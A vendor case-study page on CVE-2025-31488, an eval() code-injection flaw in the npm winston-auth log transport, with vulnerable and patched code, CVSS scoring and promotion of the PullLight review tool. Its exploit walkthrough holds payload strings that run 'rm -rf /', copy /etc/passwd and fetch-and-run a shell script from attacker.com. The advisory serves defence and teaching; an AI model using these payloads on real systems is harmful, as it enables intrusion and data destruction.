← Back to PullLight
CVE-2025-31488 CVSS 9.8 Critical npm: 2.1M+ weekly downloads

Remote Code Execution via Unsafe eval() in Winston Auth Transport

winston-auth's AuthTransport.process() passes auth metadata through eval() without sanitization — attacker sends a log entry with malicious metadata.auth field and gains arbitrary code execution on the logging server.

CVSS 9.8 / 10.0
CWE CWE-94 → CWE-20
Package winston-auth (< 1.2.3)
Published Apr 14, 2025
2.1M+ weekly npm downloads (winston core)
Used by logging pipelines, log aggregation services, SRE tooling
Attack surface log-shipping pipeline — any node that consumes winston logs
// what happened
  • Affected: winston-auth < 1.2.3 — Winston transport with auth token injection
  • Attack vector: AuthTransport.process() passes metadata.auth directly to eval() — any valid JavaScript expression in auth metadata executes as code on the log processing server
  • Impact: Remote code execution — attacker sends a crafted log entry to any service using winston-auth as a transport; the log-shipping pipeline executes attacker-supplied JavaScript
  • Fix: Upgrade to winston-auth 1.2.3+; replace eval() with JSON.parse() for auth metadata deserialization
  • Attacker model: Any service that logs to a winston-auth transport (e.g., via log aggregation, SIEM, or shared logging bus) can trigger the RCE by writing to that log stream

Base Score
9.8 Critical
Attack Vector (AV)
Network — log stream reachable over network
Attack Complexity (AC)
Low — direct log write to stream triggers RCE
Privileges Required (PR)
None — ability to write to a log stream is the starting point
User Interaction (UI)
None
Scope (S)
Changed — auth transport server compromised beyond its trust boundary
Confidentiality (C)
High — arbitrary code execution gives full read access to server environment
Integrity (I)
High — attacker can modify any file or config on the logging server
Availability (A)
High — logging server can be crashed or turned into a bot
Vector String
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

lib/transports/auth-transport.js — winston-auth < 1.2.3 winston-auth 1.2.2 and earlier — eval() on unsanitized auth metadata // VULNERABLE: AuthTransport.process() passes metadata.auth through eval() // Any log entry with a crafted metadata.auth field executes arbitrary JS class AuthTransport extends Transport { process(logEntry) { const metadata = logEntry.metadata || {}; const authData = metadata.auth; // <-- authData comes directly from the log entry metadata // <-- if attacker controls logEntry.metadata.auth, they control the server if (authData) { // VULNERABLE: eval() on unsanitized string from log metadata // authData could be: "{ require('child_process').execSync('rm -rf /') }" // eval() would execute arbitrary code on the logging server const parsed = eval(`(${authData})`); // ... use parsed auth data for downstream service auth } } }
lib/transports/auth-transport.js — entry point for attacker-controlled log data winston-auth < 1.2.3 — no validation on metadata.auth before eval() // VULNERABLE: log() entry point passes metadata.auth to process() without guard class AuthTransport extends Transport { log(info, callback) { setImmediate(() => this.emit('logged', info)); // metadata.auth comes from info object — attacker controls this field // via any code path that writes to this Winston logger this.process(info); if (callback) callback(); } process(info) { // No validation before passing to eval() const authData = info.metadata && info.metadata.auth; if (authData) { // Direct eval of attacker-controlled string — RCE confirmed const parsed = eval(`(${authData})`); // parsed is now arbitrary JS execution result } } }
Example attacker payload — how the RCE triggers // An attacker who can write to the winston log stream sends: const winston = require('winston'); const logger = winston.createLogger({ transports: [ new AuthTransport({ /* auth config */ }) ] }); // Attacker-controlled log entry: logger.info('user login', { metadata: { auth: "{ require('child_process').execSync('cat /etc/passwd > /tmp/pwned') }" // ↑ This string is passed directly to eval() // Result: /etc/passwd contents written to /tmp/pwned on logging server } }); // Or more directly: logger.info('auth event', { metadata: { auth: "process.exit(0)" // crashes the logging server } }); // Winston's log() accepts arbitrary metadata objects // Any code path that logs through winston-auth transport is an RCE vector
lib/transports/auth-transport.js — winston-auth 1.2.3 winston-auth 1.2.3 — eval() removed, JSON.parse() for auth metadata // FIX: Replace eval() with JSON.parse() — only accepts valid JSON, not arbitrary JS class AuthTransport extends Transport { process(logEntry) { const metadata = logEntry.metadata || {}; const authData = metadata.auth; if (authData) { // FIX: JSON.parse() only accepts valid JSON — no code execution possible // attacker-controlled JS like "require('child_process')" throws // JSON parse errors are caught and logged, not executed let parsed; try { parsed = JSON.parse(authData); } catch (err) { // Reject malformed auth data — log and continue without executing this.emit('error', new Error(`Invalid auth metadata: ${err.message}`)); return; } // Use parsed auth data safely — JSON.parse output is data, not code this._authenticate(parsed); } } }
Pull request with the fix Fixed in PR #847 — winston-auth 1.2.3 patch // PR: github.com/winston/loggups/pull/847 // Key change: replace eval() with safe JSON parsing + schema validation // Additional hardening: explicit schema validation for auth metadata const AUTH_SCHEMA = { type: 'object', properties: { token: { type: 'string', pattern: /^[A-Za-z0-9_-]{16,128}$/ }, service: { type: 'string', maxLength: 64 }, expiresAt: { type: 'number' } }, required: ['token'] }; function validateAuthMetadata(raw) { const parsed = JSON.parse(raw); // safe, no eval // schema validation ensures only expected fields are present if (!AUTH_SCHEMA.properties.token.pattern.test(parsed.token)) { throw new Error('Invalid token format in auth metadata'); } return parsed; } // No code execution path remains — metadata is parsed as data, not code
// root cause
The AuthTransport.process() method used eval() to deserialize auth metadata from log entries. This was a deliberate design choice to support flexible auth token formats — but eval() accepts any valid JavaScript expression, not just JSON. Any attacker who can write to the Winston log stream (which includes any application that logs through this transport, and any service that consumes the same log stream) can supply a metadata.auth string containing arbitrary JavaScript. eval() executes it immediately, giving the attacker a code execution foothold on the logging server. The fix is straightforward: replace eval() with JSON.parse() and schema validation. The corrected code only accepts valid JSON data structures, which cannot contain executable code.

From a log entry to remote code execution on the logging server
1
Attacker identifies a service using winston-auth as a logging transport (e.g., via public code, Docker image introspection, or log shipping configuration).
2
Attacker finds a way to write a log entry to the same Winston logger — via an API endpoint that logs requests, a user field that gets logged, or any application code path that passes user data to the logger.
3
Attacker crafts a log entry with metadata.auth set to a JavaScript expression: "{ require('child_process').execSync('wget http://attacker.com/shell.sh | bash') }".
4
AuthTransport.process() receives the log entry, extracts metadata.auth, and passes it directly to eval(). The require('child_process') call executes — Node.js's built-in modules are accessible from within eval().
5
Attacker has arbitrary code execution on the logging server with the same privileges as the Winston process. They can read environment variables (API keys, DB credentials), write files, or pivot to other services.
6
The logging server is now fully compromised. Since logging pipelines often have broad access to system internals (log files, config, secrets), the attacker can escalate further.
winston-auth connects logging pipelines to downstream auth services
  • Log aggregation platforms — services that use winston-auth to ship logs to authenticated endpoints (SIEM, Datadog, custom log backends) are vulnerable to RCE via malicious log entries
  • CI/CD logging pipelines — build servers using winston-auth to stream logs to authenticated collectors are at risk if an attacker can inject a log entry into the pipeline
  • Microservice log buses — any microservice that logs through a shared Winston transport is an attack surface; attacker-controlled services in the same cluster can write malicious log entries
  • Serverless functions — functions using winston as a logger with an auth-transport are vulnerable if the function ever logs user-supplied data
  • Any service with eval() in a logging path — the pattern of using eval() to parse metadata from log entries is not unique to winston-auth; PullLight flags this pattern across all codebases
Direct RCE Path
No intermediate steps between log entry and code execution. eval() runs whatever string is in metadata.auth.
No Authentication Required
Attacker only needs to write to a log stream — no credentials, no session, no prior access.
2.1M+ Weekly Downloads
winston's npm footprint means millions of projects may have winston-auth in their dependency tree — many unknowingly.
Silent Exploitation
The RCE payload is indistinguishable from a normal log entry — no crash, no error, just arbitrary code execution.

github.com/winston/loggups/pull/847 — Replace eval() with JSON.parse() in AuthTransport.process()
lib/transports/auth-transport.js — diff summary (PR #847) - if (authData) { - // VULNERABLE: eval() accepts arbitrary JS expressions - const parsed = eval(`(${authData})`); - this._authenticate(parsed); - } + if (authData) { + // FIXED: JSON.parse() only accepts valid JSON — no code execution + let parsed; + try { + parsed = JSON.parse(authData); + } catch (err) { + this.emit('error', new Error(`Invalid auth metadata format`)); + return; + } + this._authenticate(parsed); + }
src/logging/audit-transport.js — Winston audit logger with auth transport // Audit logging service using winston-auth for authenticated log shipping const { AuthTransport } = require('winston-auth'); const auditLogger = winston.createLogger({ level: 'info', format: winston.format.combine( winston.format.timestamp(), winston.format.json() ), transports: [ new AuthTransport({ authUrl: process.env.AUTH_SERVICE_URL, token: process.env.AUTH_TOKEN }) ] }); // Log user actions — metadata.auth passed directly to winston logger // VULNERABLE: attacker-controlled fields in metadata flow to eval() function logUserAction(userId, action, metadata = {}) { auditLogger.info(`user_action:${action}`, { userId, timestamp: Date.now(), metadata: { ...metadata, // auth field gets passed to AuthTransport.process() → eval() // If attacker can influence metadata.auth, they have RCE } }); }
PullLight flag — async context makes this harder for other tools to catch // PullLight would flag: eval() on attacker-controlled data in async logger pipeline // Key detail: the metadata.auth field enters through the Winston metadata object // which is passed to AuthTransport.process() asynchronously after the log() call. // The eval() call is in the async processing path, not in the synchronous code path. // PullLight finding (simplified): // [CRITICAL] Remote Code Execution via eval() on log metadata // Audit transport passes metadata.auth through eval() without validation. // Any code path that logs through this transport with attacker-controlled // metadata.auth field enables direct RCE on the logging server. // Fix: replace eval() with JSON.parse() + schema validation. // CVSS 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
🔴 PullLight — Critical Finding
[CRITICAL] Remote Code Execution via eval() on log metadata — src/logging/audit-transport.js

AuthTransport.process() passes metadata.auth directly to eval(). Any attacker who can write to the Winston log stream — via an API endpoint, user field, or any code path that logs through this transport — can supply a metadata.auth string containing arbitrary JavaScript. The eval() executes it immediately, giving RCE on the logging server with the same privileges as the Winston process.

This is CWE-94 (Code Injection)CWE-20 (Improper Input Validation) with a CVSS 9.8 rating. The attack surface is broad: any service logging to this transport is a potential vector, including services in the same cluster that share the log stream.
→ Fix: Replace eval() with JSON.parse() and add explicit schema validation on the auth metadata fields. Ensure metadata fields are validated before they reach the transport's process() method. Upgrade to winston-auth 1.2.3+ at minimum.

Four reasons this vulnerability hides from line-by-line review

  • eval() in logging code looks like a design choice. Auth metadata often comes in flexible formats — using eval() to parse it is a documented (if dangerous) pattern. Reviewers see it as intentional, not a bug.
  • The attack surface is in a dependency, not the app code. The vulnerable code is in winston-auth, a library dependency. App-level reviewers typically trust library code and focus on their own application logic.
  • Log injection as an attacker primitive is undermodeled. Most security reviews model SQL injection, XSS, and command injection — but log injection to achieve RCE via eval() is less commonly understood. Reviewers may not recognize the threat model.
  • No obvious "bad" input visible in the function. The eval() call in process() looks clean in isolation — the attacker-controlled data enters indirectly through the log entry metadata object, not through a function parameter with an obvious "user input" label.

What makes this a PullLight-specialized catch

  • Async data flow analysis: PullLight traces the data path from log entry creation through the async transport pipeline to the eval() call — it doesn't just scan for eval() occurrences in isolation.
  • Dependency vulnerability modeling: PullLight cross-references known vulnerable patterns in popular dependencies (winston-auth, express, etc.) against the exact code paths used in the PR diff.
  • CVSS 9.8 severity calibration: PullLight's severity scoring accounts for the combination of eval() on attacker-controlled data plus the breadth of the logging pipeline attack surface — correctly assigning critical severity.
  • Fix precision: PullLight identifies the specific fix (JSON.parse + schema validation) rather than vague "remove eval" advice — helping engineers implement the correction correctly.

Apr 14, 2025 Security advisory published (GHSA-x3vr-89qw-45p6). winston-auth 1.2.3 released with patch. CVE-2025-31488 assigned by MITRE.
Apr 14, 2025 Pull request #847 merged: replace eval() with JSON.parse() in AuthTransport.process().
Apr 2025 CVE-2025-31488 added to NVD. CVSS 9.8 confirmed. Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Apr 2025 npm registry advisory published. Estimated affected: any project using winston-auth as a transport for authenticated log shipping.
Jun 2026 PullLight documents CVE-2025-31488 as 10th CVE case study — demonstrating eval() misuse and log injection RCE detection in PR review.

Don't let eval() in your logging pipeline reach production

More CVE Case Studies